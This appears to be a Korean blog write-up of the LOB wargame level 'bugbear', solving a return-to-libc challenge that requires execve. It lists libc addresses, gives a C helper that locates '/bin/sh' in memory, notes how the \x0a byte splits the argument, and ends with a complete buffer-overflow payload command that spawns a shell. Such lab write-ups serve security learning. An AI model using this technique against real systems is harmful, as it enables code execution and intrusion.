bugbear // new divide
RTL2문제이다. execve 주소를 얻고 ret이 execve가 아니라면 종료해 버린다. 그렇다면 execve를 활용하는 RTL을 이용해야한다.
execve 함수는 어떤인자를 받는지 알아 보았다.
-
첫번째 인자는 실행시킬 파일명
-
두번째 인자는 포인터 배열
-
세번째 인자는 환경 변수
먼저 execve 의 주소를 확인해 보았다.
execve()주소 : 0x400a9d48 (little endian : \x48\x9d\x0a\x40)
이후 쉘을 따낼 system, exit, system("/bin/sh")주소를 확인했다.
system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40)
exit() 주소 : 0x400391e0 (little endian : \xe0\x91\x03\x40)
// rtl.c
#include <stdio.h>
int main(){
long system=0x40058ae0;
while(memcmp((void *)system, "/bin/sh", 8))
system++;
printf("%x\n",system);
return 0;
}
system("/bin/sh") 주소 : 0x400fbff9 (little endian : \xf9\xbf\x0f\x40)
스택 구조는 어떻게 구성되어있고 나는 어떤 곳에 주소를 넣어야 할까?
일단 dummy값이 없는 것 같다. 일단 한번 넣어볼까?
제대로 RET에 execve()주소를 계속 넣어줬는데도 안들어갔다고 한다. 어마무시한 삽질 끝에.... 알게된 사실
execve()의 주소에는 \x0a가 들어간다 여기서 포인트가 \x0a는 개행문자 \n 로 처리되어, 페이로드를 중간에 끊어 버리는 역할을 한다.
그래서 인자를 쌍따옴표(")로 감싸면 해결이 된다.
그렇다면 페이로드를 작성해 보자.
먼저 execve() 함수는 execve , execve ret, execve arg1, execve arg2, execve arg3 이순서대로 인자가 전달이 된다.
-
execve() 인자에 값을 exit()을 넣어 종료 시킨다.
-
RET 에 system()주소를 넣어 system()로 간다.
-
system()함수의 인자에 "/bin/sh"을 넣어 실행시킨다.
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`"
클리어! execve()함수의 인자들이 어떻게 처리되는지 잘 몰르고 \x0a 가 개행처리.. 두가지 덕에 한 엄청 많이 시간을 썼던것 같다.
'System > LOB' 카테고리의 다른 글
[LOB_13]darkknight (0) | 2019.09.24 |
---|---|
[LOB_12]golem (0) | 2019.09.24 |
[LOB_11]skeleton (0) | 2019.09.24 |
[LOB_10]vampire (0) | 2019.09.24 |
[LOB_9]troll (0) | 2019.09.24 |